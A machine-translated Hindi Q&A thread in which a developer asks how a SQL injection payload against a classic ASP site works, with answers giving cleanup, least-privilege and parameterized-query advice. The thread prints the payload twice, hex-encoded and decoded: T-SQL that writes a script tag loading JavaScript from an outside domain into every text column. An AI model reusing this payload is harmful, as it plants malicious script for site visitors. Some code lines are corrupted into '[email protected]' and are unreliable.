2011-12-05 10 views
46

मैं इसे यहां पोस्ट करना चाहता था क्योंकि यह बहुत अधिक कोडिंग से संबंधित है और कुछ ऐसा था जो मुझे इस सप्ताह अपने कंपनी की पुरानी एएसपी (क्लासिक) साइटों में से एक पर साफ करना था।क्या कोई मुझे इस एसक्यूएल इंजेक्शन हमले की व्याख्या कर सकता है?

हमें कुछ दिन पहले चलाए गए एसक्यूएल इंजेक्शन हमले के साथ मारा गया था, लेकिन मैं अपने सिर को खरोंच कर रहा हूं, वास्तव में एसक्यूएल सर्वर (इन एसक्यूएल प्रश्नों के माध्यम से) 'नुकसान' था।

ईमानदार होने के लिए, मैंने सोचा कि यह जिस तरह से किया गया था, वह बहुत ही सरल था, और मेरी कंपनियों को पुरानी 10 साल की पुरानी साइट के लिए गलती नहीं है, बिना किसी स्वच्छता इनपुट के।

हमले:

122 + घोषित +% 40 + varchar% 284,000% 29 + सेट +% 40% 3Dcast% 280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e 6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + के रूप में + varchar% 284,000% 29% 29 + कार्यकारी% 28% 40% 29-

क्या यह करने के लिए डीकोड:(क्या मैं समझता हूँ करना चाहते हैं)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

हम एक बैकअप (पूर्व इंजेक्शन) बरामद किया गया और पूरे एप्लिकेशन के माध्यम से चला गया और स्वच्छ गए सभी इनपुट बयान। हमारा सर्वर फ़ायरवॉल किया गया है, इसलिए कोई प्रत्यक्ष एसक्यूएल एक्सेस नहीं है, हालांकि मैं जानना चाहता हूं कि और क्या छोड़ा जा सकता है, और मुझे एसक्यूएल क्वेरी स्वीकार करना है मेरे सिर पर है।

क्या कोई इस पर एक दरार ले सकता है और मेरे लिए एसक्यूएल हमले की व्याख्या कर सकता है?

क्षमा याचना मैं पूर्ण DUMP & एसक्यूएल

+1

ऐसा लगता है कि आपकी HTML फ़ाइलों AFAICT के कुछ हिस्से में एक जावास्क्रिप्ट फ़ाइल संलग्न करना प्रतीत होता है। – Blender

+0

'0xFF चुनें; 'returns' MySQL के साथ, this', आप इस पथ का पता लगाना चाहेंगे। –

+2

अगर आप स्निप से छुटकारा पाएं और पूरी चीज – griegs

उत्तर

57

बस पठनीयता के लिए प्रारूपित में मदद करता है एक बहुत स्पष्ट करेगी:

set ansi_warnings off 

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR 
    select c.TABLE_NAME, c.COLUMN_NAME 
     from INFORMATION_SCHEMA.columns c, 
      INFORMATION_SCHEMA.tables t 
    where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') 
     and c.CHARACTER_MAXIMUM_LENGTH > 30 
     and t.table_name = c.table_name 
     and t.table_type = 'BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC ('UPDATE [' + @T + '] 
       SET [' + @C + '] = 
        ''"></title>'' + 
        ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + 
        ''<!--'' + 
        RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) 
      WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) 
        <> ''"></title><script'' 
      ' 
     ) 

    FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor 

यह हर तालिका के हर पाठ स्तंभ के माध्यम से चला जाता है और सम्मिलित करता है कुछ HTML इसमें — HTML जिसमें बाहरी रूप से जेनरेट की गई जावास्क्रिप्ट को पॉइंटर शामिल है।

+18

+1 में शामिल होने से कुछ और किया था, जैसे कि आपने कुछ समय स्वरूपित किया, चीयर्स! – ComputerSaysNo

+1

+1 यह भी है कि आपने इसे हमारे लिए स्वरूपित किया है;) – Jakub

15

यह सभी तालिकाओं के सभी कॉलमों के माध्यम से पाशन और एक <script> टैग जिसका स्रोत अंक एक दुर्भावनापूर्ण जे एस फ़ाइल में जोड़कर अपने मूल्य को अद्यतन करने की अद्यतन।

महत्वपूर्ण बिट

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

मैं यहाँ लोप हो गया और बयान शायद ('varchar', 'चार', 'पाठ') या कुछ इसी तरह की तरह कुछ के साथ समाप्त हो गया, ताकि कुछ अनुमान लगा रहा हूँ है यह केवल पाठ रखने वाले कॉलम अपडेट करने का प्रयास कर रहा है।वे उम्मीद कर रहे हैं कि कॉलम में से एक टेक्स्ट आपकी वेबसाइट में खींचा जा रहा है, इसलिए जब वे अपने जेएस संदर्भ को जोड़ते हैं, तो इसे विभिन्न पृष्ठों के स्रोत पर शामिल किया जाएगा।

इसे ठीक करने के लिए, आपको टेक्स्ट को रखने वाले सभी स्तंभों के माध्यम से समान लूप करना चाहिए और इंजेक्शन स्क्रिप्ट को खाली स्ट्रिंग के साथ प्रतिस्थापित करना चाहिए। Google आपका मित्र यहां होगा, लेकिन यहां एक बहुत अच्छा दिखने वाला लिंक है जो ऐसा करने के लिए एक स्क्रिप्ट स्थापित करने में मददगार होना चाहिए।

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

+2

अच्छी तरह से हम पिछले डीबी बैकअप पर वापस आ गए थे जो ठीक था, मैं चिंतित था कि एसक्यूएल ने 'वर्चर' फ़ील्ड्स – Jakub

0

मैं अपने अपने डेटाबेस में सभी तरह की पाठ स्तंभों को इनकोडिंग तार सम्मिलित करने का प्रयास लगता है। चेक इस रेफरी: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

आशा है कि यह कुछ अर्थों

4

एसक्यूएल इंजेक्शन प्रयासों से जल्दी से अपने आवेदन की रक्षा के लिए URLScan 3.1 स्थापित करने पर विचार करें, साथ ही साथ अपने एसक्यूएल स्टेटमेंट को सही ढंग से स्वच्छ करने के लिए अपने आवेदन के माध्यम से काम करना।

इस प्रकार का एसक्यूएल इंजेक्शन हमला आमतौर पर काम करता है क्योंकि आपके डेटाबेस उपयोगकर्ता की अनुमतियां बहुत ढीली होती हैं, उदा। डीबीओ अधिकार डेटाबेस एप्लिकेशन का उपयोग करके अपने एप्लिकेशन से अपने डेटाबेस से कनेक्ट करने के लिए केवल अपने आवेदन को चलाने के लिए आवश्यक अधिकारों के साथ कनेक्ट करने के लिए देखो। आप डेटाबेस उपयोगकर्ता बना सकते हैं, इसे अपने डेटाबेस में सार्वजनिक अधिकारों के साथ मैप कर सकते हैं, केवल एक स्क्रिप्ट चलाने के बजाय नीचे दिए गए प्रत्येक ऑब्जेक्ट के लिए आवश्यक व्यक्तिगत अधिकार लागू करने के लिए।

DECLARE @LOGIN varchar(255) 
DECLARE @DB varchar(255) 

SELECT @LOGIN = 'yourdbuser' 
SELECT @DB = 'yourdb' 

/* set default database */ 
EXEC sp_defaultdb @LOGIN, @DB 

/* drop system admin role */ 
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' 

/* drop database owner role */ 
EXEC sp_droprolemember 'db_owner', @LOGIN 

/* grant execute on all non system stored procedures and scalar functions */ 
DECLARE @SP varchar(255) 
DECLARE Proc_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='P' or type='FN') 
AND category <> 2 -- system 
OPEN Proc_Cursor 
FETCH NEXT FROM Proc_Cursor INTO @SP 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Proc_Cursor INTO @SP 
END 
CLOSE Proc_Cursor 
DEALLOCATE Proc_Cursor 

/* grant select on table functions */ 
DECLARE @TF varchar(255) 
DECLARE Tf_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='TF') 
AND category <> 2 -- system 
OPEN Tf_Cursor 
FETCH NEXT FROM Tf_Cursor INTO @TF 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Tf_Cursor INTO @SP 
END 
CLOSE Tf_Cursor 
DEALLOCATE Tf_Cursor 

/* grant select/update/insert/delete on all user defined tables */ 
DECLARE @T varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='U' or type='V') -- user defined tables and views 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Table_Cursor INTO @T 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

/* deny access to system tables */ 
DENY SELECT ON syscolumns TO yourdbuser 
DENY SELECT ON sysobjects TO yourdbuser 

DENY VIEW DEFINITION TO yourdbuser 

DENY SELECT ON sys.databases TO yourdbuser 
DENY SELECT ON sys.columns TO yourdbuser 
DENY SELECT ON sys.objects TO yourdbuser 
DENY SELECT ON sys.sql_logins TO yourdbuser 
DENY SELECT ON sys.all_columns TO yourdbuser 
DENY SELECT ON sys.all_objects TO yourdbuser 
DENY SELECT ON sys.all_parameters TO yourdbuser 
DENY SELECT ON sys.all_views TO yourdbuser 

स्पष्ट रूप से अपने विशिष्ट एप्लिकेशन के खिलाफ इसका परीक्षण करें क्योंकि आपके पास ऐसी प्रक्रियाएं हो सकती हैं जिनके लिए इन sys तालिकाओं से चयन करने की आवश्यकता हो।

0

इस तरह की अपनी प्रश्नों को बदलने के लिए देखो;

Dim oConn, oRS, SQL 
'Query open to attack 
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") 

Set oConn = Server.CreateObject("ADODB.Connection") 
Call oConn.Open(conn_string_from_inc) 

Set oRS = oConn.Execute(SQL)  

Call oConn.Close() 
Set oConn = Nothing 

ऐसा कुछ करने के लिए;

Dim oCmd, oRS, SQL 
SQL = "SELECT * FROM [Table] WHERE [id] = ?" 

Set oCmd = Server.CreateObject("ADODB.Command") 
With oCmd 
    .ActiveConnection = conn_string_from_inc 
    .CommandType = adCmdText 
    .CommandText = SQL 
    Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) 
    .Parameters("@id").Value = Request.QueryString("id") 
    Set oRS = .Execute() 
End With 
Set oCmd = Nothing 

यह सिर्फ इनपुट sanitizing का सहारा के बिना SQL इंजेक्शन का मुकाबला करने के लिए एक कच्चे उदाहरण है। मैं अभी भी इस अलग से संपर्क करूंगा।